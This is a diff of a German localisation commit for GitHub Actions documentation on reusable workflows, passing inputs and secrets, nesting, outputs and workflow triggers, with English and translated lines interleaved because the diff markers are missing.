### Verwenden von Eingaben und Geheimnissen in einem wiederverwendbaren Workflow
You can define inputs and secrets, which can be passed from the caller workflow and then used within the called workflow. There are three stages to using an input or a secret in a reusable workflow.
Du kannst Eingaben und Geheimnisse definieren, die vom aufrufenden Workflow übergeben und im aufgerufenen Workflow verwendet werden können. Für die Verwendung einer Eingabe oder eines Geheimnisses in einem wiederverwendbaren Workflow sind drei Schritte erforderlich.
1. In the reusable workflow, use the `inputs` and `secrets` keywords to define inputs or secrets that will be passed from a caller workflow.
1. Verwende im wiederverwendbaren Workflow die Schlüsselwörter `inputs` und `secrets`, um Eingaben oder Geheimnisse zu definieren, die von einem aufrufenden Workflow übergeben werden.
{% raw %}
```yaml
on:
@ -112,18 +115,16 @@ You can define inputs and secrets, which can be passed from the caller workflow
envPAT:
required: true
```
{% endraw %}
For details of the syntax for defining inputs and secrets, see [`on.workflow_call.inputs`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callinputs) and [`on.workflow_call.secrets`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callsecrets).
{% endraw %} Ausführliche Informationen zur Syntax zum Definieren von Eingaben und Geheimnissen findest du unter [`on.workflow_call.inputs`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callinputs) und [`on.workflow_call.secrets`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callsecrets).
{% ifversion actions-inherit-secrets-reusable-workflows %}
1. In the reusable workflow, reference the input or secret that you defined in the `on` key in the previous step.
1. Verweise im wiederverwendbaren Workflow auf die Eingabe oder das Geheimnis, die bzw. das du im vorherigen Schritt im Schlüssel `on` definiert hast.
{% note %}
**Note**: If the secrets are inherited by using `secrets: inherit` in the calling workflow, you can reference them even if they are not explicitly defined in the `on` key. For more information, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit)."
**Hinweis**: Wenn die Geheimnisse durch Verwendung von `secrets: inherit` im aufrufenden Workflow geerbt werden, kannst du auch dann auf sie verweisen, wenn sie im `on`-Schlüssel nicht explizit definiert sind. Weitere Informationen findest du unter [Workflowsyntax für GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit).
{% endnote %}
{%- else %}
1. In the reusable workflow, reference the input or secret that you defined in the `on` key in the previous step.
{% endnote %} {%- else %}
1. Verweise im wiederverwendbaren Workflow auf die Eingabe oder das Geheimnis, die bzw. das du im vorherigen Schritt im Schlüssel `on` definiert hast.
{%- endif %}
{% raw %}
@ -138,22 +139,21 @@ You can define inputs and secrets, which can be passed from the caller workflow
repo-token: ${{ secrets.envPAT }}
configuration-path: ${{ inputs.config-path }}
```
{% endraw %}
In the example above, `envPAT` is an environment secret that's been added to the `production` environment. This environment is therefore referenced within the job.
{% endraw %} Im obigen Beispiel ist `envPAT` ein Umgebungsgeheimnis, das der Umgebung `production` hinzugefügt wurde. Daher wird im Auftrag auf diese Umgebung verwiesen.
{% note %}
**Note**: Environment secrets are encrypted strings that are stored in an environment that you've defined for a repository. Environment secrets are only available to workflow jobs that reference the appropriate environment. For more information, see "[Using environments for deployment](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)."
**Hinweis**: Umgebungsgeheimnisse sind verschlüsselte Zeichenfolgen, die in einer von Ihnen für ein Repository definierten Umgebung gespeichert sind. Umgebungsgeheimnisse sind nur für Workflowaufträge verfügbar, die auf die entsprechende Umgebung verweisen. Weitere Informationen findest du unter [Verwenden von Umgebungen für die Bereitstellung](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets).
{% endnote %}
1. Pass the input or secret from the caller workflow.
1. Übergib die Eingabe oder das Geheimnis aus dem aufrufenden Workflow.
{% indented_data_reference reusables.actions.pass-inputs-to-reusable-workflows spaces=3 %}
### Example reusable workflow
### Beispiel für einen wiederverwendbaren Workflow
This reusable workflow file named `workflow-B.yml` (we'll refer to this later in the [example caller workflow](#example-caller-workflow)) takes an input string and a secret from the caller workflow and uses them in an action.
In dieser Datei namens `workflow-B.yml` mit einem wiederverwendbaren Workflow (wir verweisen später im [Beispiel für einen aufrufenden Workflow](#example-caller-workflow) darauf) werden eine Eingabezeichenfolge und ein Geheimnis aus dem aufrufenden Workflow abgerufen und in einer Aktion verwendet.
{% raw %}
```yaml{:copy}
@ -180,32 +180,32 @@ jobs:
```
{% endraw %}
## Calling a reusable workflow
## Aufrufen eines wiederverwendbaren Workflows
You call a reusable workflow by using the `uses` keyword. Unlike when you are using actions within a workflow, you call reusable workflows directly within a job, and not from within job steps.
Zum Aufrufen eines wiederverwendbaren Workflows wird das Schlüsselwort `uses` verwendet. Anders als bei der Verwendung von Aktionen in einem Workflow werden wiederverwendbare Workflows direkt in einem Auftrag aufgerufen und nicht in Auftragsschritten.
[`jobs.<job_id>.uses`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_iduses)
You reference reusable workflow files using {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}one of the following syntaxes:{% else %}the syntax:{% endif %}
Zum Verweisen auf Dateien mit wiederverwendbaren Workflows wird {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}eine der folgenden Syntaxoptionen verwendet:{% else %}die folgende Syntax verwendet:{% endif %}
{% data reusables.actions.reusable-workflow-calling-syntax %}
You can call multiple workflows, referencing each in a separate job.
Du kannst mehrere Workflows aufrufen, indem du jeweils in einem eigenen Auftrag auf diese verweist.
{% data reusables.actions.uses-keyword-example %}
### Passing inputs and secrets to a reusable workflow
### Übergeben von Eingaben und Geheimnissen an einen wiederverwendbaren Workflow
{% data reusables.actions.pass-inputs-to-reusable-workflows%}
{% ifversion actions-reusable-workflow-matrix %}
### Using a matrix strategy with a reusable workflow
### Verwenden einer Matrixstrategie mit einem wiederverwendbaren Workflow
Jobs using the matrix strategy can call a reusable workflow.
Aufträge, die die Matrixstrategie verwenden, können einen wiederverwendbaren Workflow aufrufen.
A matrix strategy lets you use variables in a single job definition to automatically create multiple job runs that are based on the combinations of the variables. For example, you can use a matrix strategy to pass different inputs to a reusable workflow. For more information about matrices, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
Mithilfe einer Matrixstrategie kannst du Variablen in einer Auftragsdefinition verwenden, um automatisch mehrere Auftragsausführungen zu erstellen, die auf Kombinationen dieser Variablen basieren. Beispielsweise kannst du eine Matrixstrategie verwenden, um verschiedene Eingaben an einen wiederverwendbaren Workflow zu übergeben. Weitere Informationen zu Matrizen findest du unter [Verwenden einer Matrix für deine Aufträge](/actions/using-jobs/using-a-matrix-for-your-jobs).
This example job below calls a reusable workflow and references the matrix context by defining the variable `target` with the values `[dev, stage, prod]`. It will run three jobs, one for each value in the variable.
Der folgende Beispielauftrag ruft einen wiederverwendbaren Workflow auf und verweist auf den Matrixkontext, indem die Variable `target` mit den Werten `[dev, stage, prod]` definiert wird. Er führt drei Aufträge aus, einen für jeden Wert in der Variablen.
{% raw %}
```yaml{:copy}
@ -218,25 +218,20 @@ jobs:
with:
target: ${{ matrix.target }}
```
{% endraw %}
{% endif %}
{% endraw %} {% endif %}
### Supported keywords for jobs that call a reusable workflow
### Unterstützte Schlüsselwörter für Aufträge, in denen ein wiederverwendbarer Workflow aufgerufen wird
When you call a reusable workflow, you can only use the following keywords in the job containing the call:
Beim Aufrufen eines wiederverwendbaren Workflows kannst du in dem Auftrag, der den Aufruf enthält, nur die folgenden Schlüsselwörter verwenden:
* [`jobs.<job_id>.name`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idname)
* [`jobs.<job_id>.uses`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_iduses)
* [`jobs.<job_id>.with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idwith)
* [`jobs.<job_id>.with.<input_id>`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idwithinput_id)
* [`jobs.<job_id>.secrets`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsecrets)
* [`jobs.<job_id>.secrets.<secret_id>`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsecretssecret_id)
{%- ifversion actions-inherit-secrets-reusable-workflows %}
* [`jobs.<job_id>.secrets.inherit`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit)
{%- endif %}
{%- ifversion actions-reusable-workflow-matrix %}
* [`jobs.<job_id>.strategy`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstrategy)
{%- endif %}
* [`jobs.<job_id>.secrets.<secret_id>`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsecretssecret_id) {%- ifversion actions-inherit-secrets-reusable-workflows %}
* [`jobs.<job_id>.secrets.inherit`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit) {%- endif %} {%- ifversion actions-reusable-workflow-matrix %}
* [`jobs.<job_id>.strategy`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstrategy) {%- endif %}
* [`jobs.<job_id>.needs`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)
* [`jobs.<job_id>.if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif)
* [`jobs.<job_id>.permissions`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idpermissions)
@ -244,16 +239,16 @@ When you call a reusable workflow, you can only use the following keywords in th
{% note %}
**Note:**
**Hinweis:**
* If `jobs.<job_id>.permissions` is not specified in the calling job, the called workflow will have the default permissions for the `GITHUB_TOKEN`. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
* The `GITHUB_TOKEN` permissions passed from the caller workflow can be only downgraded (not elevated) by the called workflow.
* Wenn im aufrufenden Auftrag `jobs.<job_id>.permissions` nicht angegeben ist, verfügt der aufgerufene Workflow über die Standardberechtigungen für `GITHUB_TOKEN`. Weitere Informationen findest du unter [Authentifizierung in einem Workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token).
* Die vom aufrufenden Workflow übergebenen `GITHUB_TOKEN`-Berechtigungen können im aufgerufenen Workflow nur eingeschränkt werden (und nicht erweitert).
{% endnote %}
### Example caller workflow
### Beispiel für einen aufrufenden Workflow
This workflow file calls two workflow files. The second of these, `workflow-B.yml` (shown in the [example reusable workflow](#example-reusable-workflow)), is passed an input (`config-path`) and a secret (`token`).
In dieser Workflowdatei werden zwei Workflowdateien aufgerufen. Der zweiten davon (`workflow-B.yml`, im [Beispiel für einen wiederverwendbaren Workflow](#example-reusable-workflow) zu sehen) werden eine Eingabe (`config-path`) und ein Geheimnis (`token`) übergeben.
{% raw %}
```yaml{:copy}
@ -281,11 +276,11 @@ jobs:
{% endraw %}
{% ifversion nested-reusable-workflow %}
## Nesting reusable workflows
## Schachteln wiederverwendbarer Workflows
You can connect a maximum of four levels of workflows - that is, the top-level caller workflow and up to three levels of reusable workflows. For example: _caller-workflow.yml__called-workflow-1.yml__called-workflow-2.yml__called-workflow-3.yml_. Loops in the workflow tree are not permitted.
Du kannst maximal vier Workflowebenen verbinden – also den Workflow auf oberster Ebene und bis zu drei Ebenen wiederverwendbarer Workflows. Beispiel: _caller-workflow.yml__called-workflow-1.yml__called-workflow-2.yml__called-workflow-3.yml_. Schleifen in der Workflowstruktur sind nicht zulässig.
From within a reusable workflow you can call another reusable workflow.
Aus einem wiederverwendbaren Workflow kannst du einen anderen wiederverwendbaren Workflow aufrufen.
{% raw %}
```yaml{:copy}
@ -300,11 +295,11 @@ jobs:
```
{% endraw %}
### Passing secrets to nested workflows
### Übergeben von Geheimnissen an geschachtelte Workflows
You can use `jobs.<job_id>.secrets` in a calling workflow to pass named secrets to a directly called workflow. Alternatively, you can use `jobs.<job_id>.secrets.inherit` to pass all of the calling workflow's secrets to a directly called workflow. For more information, see the section "[Passing inputs and secrets to a reusable workflow](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow)" above, and the reference article "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit)." Secrets are only passed to directly called workflow, so in the workflow chain A > B > C, workflow C will only receive secrets from A if they have been passed from A to B, and then from B to C.
Du kannst `jobs.<job_id>.secrets` in einem aufrufenden Workflow verwenden, um benannte Geheimnisse an einen direkt aufgerufenen Workflow zu übergeben. Alternativ kannst du mit `jobs.<job_id>.secrets.inherit` alle Geheimnisse des aufrufenden Workflows an einen direkt aufgerufenen Workflow übergeben. Weitere Informationen findest du im obigen Abschnitt [Übergeben von Eingaben und Geheimnissen an einen wiederverwendbaren Workflow](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow) und im Referenzartikel [Workflowsyntax für GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit). Geheimnisse werden nur an einen direkt aufgerufenen Workflow übergeben. In der Workflowkette A > B > C erhält Workflow C nur dann Geheimnisse von A, wenn sie von A an B und dann von B an C übergeben werden.
In the following example, workflow A passes all of its secrets to workflow B, by using the `inherit` keyword, but workflow B only passes one secret to workflow C. Any of the other secrets passed to workflow B are not available to workflow C.
Im folgenden Beispiel übergibt Workflow A über das Schlüsselwort `inherit` alle Geheimnisse an Workflow B. Workflow B übergibt jedoch nur ein Geheimnis an Workflow C. Alle übrigen Geheimnisse, die an Workflow B übergeben werden, sind für Workflow C nicht verfügbar.
{% raw %}
```yaml
@ -323,23 +318,23 @@ jobs:
```
{% endraw %}
### Access and permissions
### Zugriff und Berechtigungen
A workflow that contains nested reusable workflows will fail if any of the nested workflows is inaccessible to the initial caller workflow. For more information, see "[Access to reusable workflows](/actions/using-workflows/reusing-workflows#access-to-reusable-workflows)."
Ein Workflow, der geschachtelte wiederverwendbare Workflows enthält, schlägt fehl, wenn einer der geschachtelten Workflows für den anfänglichen aufrufenden Workflow nicht zugänglich ist. Weitere Informationen findest du unter [Zugriff auf wiederverwendbare Workflows](/actions/using-workflows/reusing-workflows#access-to-reusable-workflows).
`GITHUB_TOKEN` permissions can only be the same or more restrictive in nested workflows. For example, in the workflow chain A > B > C, if workflow A has `package: read` token permission, then B and C cannot have `package: write` permission. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)."
`GITHUB_TOKEN`-Berechtigungen müssen in geschachtelten Workflows identisch oder restriktiver sein. In der Workflowkette A > B > C gilt beispielsweise Folgendes: Wenn Workflow A über die Tokenberechtigung `package: read` verfügt, können B und C nicht die Berechtigung `package: write` aufweisen. Weitere Informationen findest du unter [Automatische Tokenauthentifizierung](/actions/security-guides/automatic-token-authentication).
For information on how to use the API to determine which workflow files were involved in a particular workflow run, see "[Monitoring which workflows are being used](#monitoring-which-workflows-are-being-used)."
Informationen dazu, wie du mithilfe der API ermitteln kannst, welche Workflowdateien an einer bestimmten Workflowausführung beteiligt waren, findest du unter [Überwachen der verwendeten Workflows](#monitoring-which-workflows-are-being-used).
{% endif %}
## Using outputs from a reusable workflow
## Verwenden von Ausgaben eines wiederverwendbaren Workflows
A reusable workflow may generate data that you want to use in the caller workflow. To use these outputs, you must specify them as the outputs of the reusable workflow.{% ifversion actions-reusable-workflow-matrix %}
Ein wiederverwendbarer Workflow generiert möglicherweise Daten, die du im aufrufenden Workflow verwenden möchtest. Damit du diese Ausgaben verwenden kannst, musst du sie als Ausgaben des wiederverwendbaren Workflows angeben.{% ifversion actions-reusable-workflow-matrix %}
If a reusable workflow that sets an output is executed with a matrix strategy, the output will be the output set by the last successful completing reusable workflow of the matrix which actually sets a value.
That means if the last successful completing reusable workflow sets an empty string for its output, and the second last successful completing reusable workflow sets an actual value for its output, the output will contain the value of the second last completing reusable workflow.{% endif %}
Wenn ein wiederverwendbarer Workflow, der eine Ausgabe festlegt, mit einer Matrixstrategie ausgeführt wird, enthält die Ausgabe den Ausgabewert des letzten erfolgreich abgeschlossenen wiederverwendbaren Workflows der Matrix, der einen tatsächlichen Wert festlegt.
Das bedeutet, wenn der letzte erfolgreich abgeschlossene wiederverwendbare Workflow eine leere Zeichenfolge als Ausgabe festlegt und der vorletzte erfolgreich abgeschlossene wiederverwendbare Workflow einen tatsächlichen Wert als Ausgabe festlegt, enthält die Ausgabe den Wert des vorletzten abgeschlossenen wiederverwendbaren Workflows.{% endif %}
The following reusable workflow has a single job containing two steps. In each of these steps we set a single word as the output: "hello" and "world." In the `outputs` section of the job, we map these step outputs to job outputs called: `output1` and `output2`. In the `on.workflow_call.outputs` section we then define two outputs for the workflow itself, one called `firstword` which we map to `output1`, and one called `secondword` which we map to `output2`.
Der folgende wiederverwendbare Workflow besteht aus einem Auftrag mit zwei Schritten. In jedem dieser Schritte wird ein einzelnes Wort als Ausgabe festgelegt: erst „hello“ und dann „world“. Im Abschnitt `outputs` des Auftrags werden diese Schrittausgaben den Auftragsausgaben `output1` und `output2` zugeordnet. Im Abschnitt `on.workflow_call.outputs` werden dann zwei Ausgaben für den Workflow selbst definiert, eine namens `firstword`, die `output1` zugeordnet wird, und eine namens `secondword`, die `output2` zugeordnet wird.
{% raw %}
```yaml{:copy}
@ -380,7 +375,7 @@ jobs:
```
{% endraw %}
We can now use the outputs in the caller workflow, in the same way you would use the outputs from a job within the same workflow. We reference the outputs using the names defined at the workflow level in the reusable workflow: `firstword` and `secondword`. In this workflow, `job1` calls the reusable workflow and `job2` prints the outputs from the reusable workflow ("hello world") to standard output in the workflow log.
Nun können die Ausgaben im aufrufenden Workflow genau so verwendet werden wie die Ausgaben eines Auftrags im selben Workflow. Zum Verweisen auf die Ausgaben werden die auf Workflowebene im wiederverwendbaren Workflow definierten Namen `firstword` und `secondword` verwendet. In diesem Workflow wird in `job1` der wiederverwendbare Workflow aufgerufen, und in `job2` werden die Ausgaben des wiederverwendbaren Workflows („hello world“) in der Standardausgabe im Workflowprotokoll ausgegeben.
{% raw %}
```yaml{:copy}
@ -401,37 +396,37 @@ jobs:
```
{% endraw %}
For more information on using job outputs, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs)."
Weitere Informationen zur Verwendung von Auftragsausgaben findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs).
## Monitoring which workflows are being used
## Überwachen der verwendeten Workflows
You can use the {% data variables.product.prodname_dotcom %} REST API to monitor how reusable workflows are being used. The `prepared_workflow_job` audit log action is triggered when a workflow job is started. Included in the data recorded are:
* `repo` - the organization/repository where the workflow job is located. For a job that calls another workflow, this is the organization/repository of the caller workflow.
* `@timestamp` - the date and time that the job was started, in Unix epoch format.
* `job_name` - the name of the job that was run.
Du kannst die {% data variables.product.prodname_dotcom %}-REST-API verwenden, um zu überwachen, wie wiederverwendbare Workflows verwendet werden. Die Überwachungsprotokollaktion `prepared_workflow_job` wird ausgelöst, wenn ein Workflowauftrag gestartet wird. Zu den erfassten Daten gehören:
* `repo`: Dies ist die Organisation bzw. das Repository, in der bzw. dem der Workflowauftrag sich befindet. Bei einem Auftrag, in dem ein anderer Workflow aufgerufen wird, ist dies die Organisation bzw. das Repository des aufrufenden Workflows.
* `@timestamp`: Dies sind das Datum und die Uhrzeit des Starts des Auftrags im Unix-Epochenformat.
* `job_name`: Dies ist der Name des ausgeführten Auftrags.
{% ifversion nested-reusable-workflow %}
* `calling_workflow_refs` - an array of file paths for all the caller workflows involved in this workflow job. The items in the array are in the reverse order that they were called in. For example, in a chain of workflows A > B > C, when viewing the logs for a job in workflow C, the array would be `["octo-org/octo-repo/.github/workflows/B.yml", "octo-org/octo-repo/.github/workflows/A.yml"]`.
* `calling_workflow_shas` - an array of SHAs for all the caller workflows involved in this workflow job. The array contains the same number of items, in the same order, as the `calling_workflow_refs` array. {% endif %}
* `job_workflow_ref` - the workflow file that was used, in the form `{owner}/{repo}/{path}/{filename}@{ref}`. For a job that calls another workflow, this identifies the called workflow.
* `calling_workflow_refs` : Ein Array von Dateipfaden für alle Aufruferworkflows, die an diesem Workflowauftrag beteiligt sind. Die Elemente im Array befinden sich nicht in der Reihenfolge, in der sie aufgerufen wurden, sondern in umgekehrter. In der Workflowkette „A > B > C“ wäre das Array beispielsweise beim Anzeigen der Protokolle für einen Auftrag in Workflow C `["octo-org/octo-repo/.github/workflows/B.yml", "octo-org/octo-repo/.github/workflows/A.yml"]`.
* `calling_workflow_shas` – ein Array von SHAs für alle Aufruferworkflows, die an diesem Workflowauftrag beteiligt sind. Das Array enthält die gleiche Anzahl von Elementen in derselben Reihenfolge wie das `calling_workflow_refs`-Array. {% endif %}
* `job_workflow_ref`: Dies ist die verwendete Workflowdatei im Format `{owner}/{repo}/{path}/{filename}@{ref}`. Bei einem Auftrag, in dem ein anderer Workflow aufgerufen wird, wird hiermit der aufgerufene Workflow angegeben.
For information about using the REST API to query the audit log for an organization, see "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)."
Informationen zur Verwendung der REST-API zum Abfragen des Überwachungsprotokolls für eine Organisation findest du unter [Organisationen](/rest/reference/orgs#get-the-audit-log-for-an-organization).
{% note %}
**Note**: Audit data for `prepared_workflow_job` can only be viewed using the REST API. It is not visible in the {% data variables.product.prodname_dotcom %} web interface, or included in JSON/CSV exported audit data.
**Hinweis**: Überwachungsdaten für `prepared_workflow_job` können nur mithilfe der REST-API angezeigt werden. Sie werden weder in der Weboberfläche von {% data variables.product.prodname_dotcom %} angezeigt noch sind sie in den exportierten Überwachungsdaten im JSON- oder CSV-Format enthalten.
{% endnote %}
{% ifversion partial-reruns-with-reusable %}
## Re-running workflows and jobs with reusable workflows
## Erneutes Ausführen von Workflows und Aufträgen mit wiederverwendbaren Workflows
{% data reusables.actions.partial-reruns-with-reusable %}
{% endif %}
## Next steps
## Nächste Schritte
To continue learning about {% data variables.product.prodname_actions %}, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows)."
Weitere Informationen zu {% data variables.product.prodname_actions %} findest du unter [Ereignisse, die Workflows auslösen](/actions/learn-github-actions/events-that-trigger-workflows).
{% ifversion restrict-groups-to-workflows %}You can standardize deployments by creating a self-hosted runner group that can only execute a specific reusable workflow. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."{% endif %}
{% ifversion restrict-groups-to-workflows %}Du kannst Bereitstellungen standardisieren, indem du eine selbstgehostete Runnergruppe erstellst, die nur einen bestimmten wiederverwendbaren Workflow ausführen kann. Weitere Informationen findest du unter [Verwalten des Zugriffs auf selbstgehostete Runner mithilfe von Gruppen](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).{% endif %}

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Triggering a workflow
title: Auslösen eines Workflows
shortTitle: Trigger a workflow
intro: 'How to automatically trigger {% data variables.product.prodname_actions %} workflows'
intro: 'Automatisches Auslösen von {% data variables.product.prodname_actions %}-Workflows'
versions:
fpt: '*'
ghes: '*'
@ -13,32 +13,36 @@ topics:
- CI
- CD
miniTocMaxHeadingLevel: 3
ms.openlocfilehash: cd91670d3d06d4d8f954afa114f6c4f189825d86
ms.sourcegitcommit: 9af8891fea10039b3374c76818634e05410e349d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 12/06/2022
ms.locfileid: '148191903'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## About workflow triggers
## Informationen zu Workflowtriggern
{% data reusables.actions.about-triggers %}
Workflow triggers are defined with the `on` key. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#on)."
Workflowtrigger werden mit dem Schlüssel `on` definiert. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#on).
The following steps occur to trigger a workflow run:
Die folgenden Schritte laufen ab, um einen Workflow-Lauf auszulösen:
1. An event occurs on your repository. The event has an associated commit SHA and Git ref.
1. {% data variables.product.product_name %} searches the `.github/workflows` directory in your repository for workflow files that are present in the associated commit SHA or Git ref of the event.
1. A workflow run is triggered for any workflows that have `on:` values that match the triggering event. Some events also require the workflow file to be present on the default branch of the repository in order to run.
1. In deinem Repository tritt ein Ereignis auf. Dem Ereignis sind ein Commit-SHA und ein Git-Verweis zugeordnet.
1. {% data variables.product.product_name %} durchsucht das Verzeichnis `.github/workflows` in deinem Repository nach Workflowdateien, die im zugehörigen Commit-SHA oder Git-Verweis des Ereignisses vorhanden sind.
1. Für alle Workflows, die über `on:`-Werte verfügen, die mit dem auslösenden Ereignis übereinstimmen, wird eine Workflowausführung ausgelöst. Bei einigen Ereignissen muss die Workflowdatei außerdem im Standardbranch des Repositorys vorhanden sein, damit eine Ausführung möglich ist.
Each workflow run will use the version of the workflow that is present in the associated commit SHA or Git ref of the event. When a workflow runs, {% data variables.product.product_name %} sets the `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) environment variables in the runner environment. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)."
Bei jeder Ausführung des Workflows wird die Workflowversion verwendet, die im zugehörigen Commit-SHA oder Git-Verweis des Ereignisses enthalten ist. Wenn ein Workflow ausgeführt wird, legt {% data variables.product.product_name %} die Umgebungsvariablen `GITHUB_SHA` (Commit-SHA) und `GITHUB_REF` (Git-Verweis) in der Runnerumgebung fest. Weitere Informationen findest du unter [Verwenden von Umgebungsvariablen](/actions/automating-your-workflow-with-github-actions/using-environment-variables).
### Triggering a workflow from a workflow
### Auslösen eines Workflows aus einem Workflow
{% data reusables.actions.actions-do-not-trigger-workflows %} For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
{% data reusables.actions.actions-do-not-trigger-workflows %} Weitere Informationen findest du unter [Authentifizierung mit dem GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token).
If you do want to trigger a workflow from within a workflow run, you can use a {% data variables.product.pat_generic %} instead of `GITHUB_TOKEN` to trigger events that require a token. You'll need to create a {% data variables.product.pat_generic %} and store it as a secret. To minimize your {% data variables.product.prodname_actions %} usage costs, ensure that you don't create recursive or unintended workflow runs. For more information about creating a {% data variables.product.pat_generic %}, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." For more information about storing a {% data variables.product.pat_generic %} as a secret, see "[Creating and storing encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)."
Wenn du einen Workflow aus einer Workflowausführung heraus auslösen möchtest, kannst du anstelle von `GITHUB_TOKEN` ein {% data variables.product.pat_generic %} verwenden, um Ereignisse auszulösen, die ein Token erfordern. Du musst ein {% data variables.product.pat_generic %} erstellen und dieses als Geheimnis speichern. Um dein Nutzungskosten für {% data variables.product.prodname_actions %} zu minimieren, pass auf, dass du keine rekursiven oder unbeabsichtigten Workflow-Läufe erzeugst. Weitere Informationen zum Erstellen eines {% data variables.product.pat_generic %} findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). Weitere Informationen dazu, wie du ein {% data variables.product.pat_generic %} als Geheimnis speicherst, findest du unter [Erstellen und Speichern verschlüsselter Geheimnisse](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets).
For example, the following workflow uses a {% data variables.product.pat_generic %} (stored as a secret called `MY_TOKEN`) to add a label to an issue via {% data variables.product.prodname_cli %}. Any workflows that run when a label is added will run once this step is performed.
Der folgende Workflow verwendet beispielsweise ein {% data variables.product.pat_generic %} (das als Geheimnis mit dem Namen `MY_TOKEN` gespeichert ist), um einem Issue über die {% data variables.product.prodname_cli %} eine Bezeichnung hinzuzufügen. Alle beim Hinzufügen einer Bezeichnung ausgeführten Workflows werden nach diesem Schritt ausgeführt.
```yaml
on:
@ -57,7 +61,7 @@ jobs:
gh issue edit $ISSUE_URL --add-label "triage"
```
Conversely, the following workflow uses `GITHUB_TOKEN` to add a label to an issue. It will not trigger any workflows that run when a label is added.
Umgekehrt verwendet der folgende Workflow `GITHUB_TOKEN`, um einem Issue eine Bezeichnung hinzuzufügen. Es werden keine Workflows ausgelöst, die beim Hinzufügen einer Bezeichnung ausgeführt werden.
```yaml
on:
@ -76,68 +80,68 @@ jobs:
gh issue edit $ISSUE_URL --add-label "triage"
```
## Using events to trigger workflows
## Verwenden von Ereignissen zum Auslösen von Workflows
Use the `on` key to specify what events trigger your workflow. For more information about events you can use, see "[Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows)."
Verwende die den `on`-Schlüssel, um festzulegen, welche Ereignisse deinen Workflow auslösen. Weitere Informationen über Ereignisse, die du verwenden kannst, findest du unter [Ereignisse, die Workflows auslösen](/actions/using-workflows/events-that-trigger-workflows).
### Using a single event
### Verwenden eines einzelnen Ereignisses
{% data reusables.actions.on-single-example %}
### Using multiple events
### Verwenden mehrerer Ereignisse
{% data reusables.actions.on-multiple-example %}
### Using activity types and filters with multiple events
### Verwenden von Aktivitätstypen und Filtern mit mehreren Ereignissen
You can use activity types and filters to further control when your workflow will run. For more information, see [Using event activity types](#using-event-activity-types) and [Using filters](#using-filters). {% data reusables.actions.actions-multiple-types %}
Du kannst mithilfe von Aktivitätstypen und Filtern steuern, wann dein Workflow ausgeführt wird. Weitere Informationen findest du unter [Verwenden von Ereignisaktivitätstypen](#using-event-activity-types) und [Verwenden von Filtern](#using-filters). {% data reusables.actions.actions-multiple-types %}
## Using event activity types
## Verwenden von Ereignisaktivitätstypen
{% data reusables.actions.actions-activity-types %}
## Using filters
## Verwenden von Filtern
{% data reusables.actions.actions-filters %}
